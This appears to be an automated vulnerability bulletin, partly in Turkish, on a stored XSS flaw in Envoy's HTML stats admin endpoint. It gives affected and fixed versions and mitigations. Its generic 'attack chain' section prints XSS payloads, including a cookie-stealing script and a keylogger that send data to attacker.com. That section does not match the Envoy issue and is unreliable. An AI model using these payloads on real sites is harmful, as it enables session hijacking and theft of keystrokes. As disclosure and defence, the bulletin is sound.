CWE-79
Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, Envoy's /stats?format=html admin endpoint uses StatsHtmlRender, which sanitizes string statistic values but emits statistic names without HTML encoding. A data-plane component such as grpc_stats with stats_for_all_methods enabled can incorporate attacker-controlled path segments into cached dynamic statistic names. When an operator views the HTML stats page, the stored name can execute script with the admin interface's origin and issue privileged same-origin requests. The relevant scope boundary is that the admin interface must be browser-accessible and an enabled component must persist attacker-influenced text in statistic names. This issue is fixed in versions 1.36.10, 1.37.6, 1.38.4, and 1.39.1.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-73546
CVSS 7.4/10 · YÜKSEK · 21.09.2026
CWE: CWE-79
Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🎯 AÇIK NEDİR?
Cross-Site Scripting (XSS)
Açıklama: Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, Envoy's /stats?format=html admin endpoint uses StatsHtmlRender, which sanitizes string statistic values but emits statistic names without HTML encoding. A data-plane component such as grpc_stats with stats_for_all_methods enabled can incorporate attacker-controlle…
Etkilenen: envoyproxy:envoy
⚡ SALDIRI ZİNCİRİ
Saldırı adımları:
1. Stored XSS: Uygulama kullanıcı girdisini DB'ye kaydedip diğer kullanıcılara gösteriyorsa, yorum/profil alanlarına payload inject edilir.
2. Reflected XSS: URL parametresine <script>alert(1)</script> eklenir, link kurban ile paylaşılır.
3. Cookie çalma: <script>new Image().src='https://attacker.com/c?c='+document.cookie</script>
4. Keylogger: <script>document.onkeypress=function(e){new Image().src='https://attacker.com/k?k='+e.key}</script>
5. BeEF framework ile tam tarayıcı kontrolü.
🔧 Araçlar: BeEF, XSStrike, Dalfox, Burp Suite
🗺️ MITRE ATT&CK: T1189 (Drive-by Compromise), T1185 (Browser Session Hijacking)
🌍 GERÇEK DÜNYA ETKİSİ
Tüm gizli veriler okunabilir/çalınabilir; sistem verileri değiştirilebilir/silinebilir.
🛡️ ÇÖZÜM VE MİTİGASYON
→ envoyproxy:envoy için üretici güvenlik güncellemesini uygula.
→ CSP header ekle, tüm kullanıcı girdilerini HTML encode et.
→ Yama öncesi: servis erişimini VPN arkasına al veya IP whitelist uygula.
→ WAF kuralı ekle, anormal trafik için IDS alert oluştur.
⚠️ ACİLİYET
⚠️ Bu hafta (7 gün) — Yüksek risk, anonim uzaktan.
────────────────────────────────────────
[Kural Tabanlı Analiz] [💡 config.json dosyasına ai_key (Claude: sk-ant-... veya Groq: gsk_...) ekleyerek gerçek AI analizi kullanabilirsiniz]
[⚠️ AI key mevcut ancak istek başarısız — kural tabanlı analiz kullanıldı]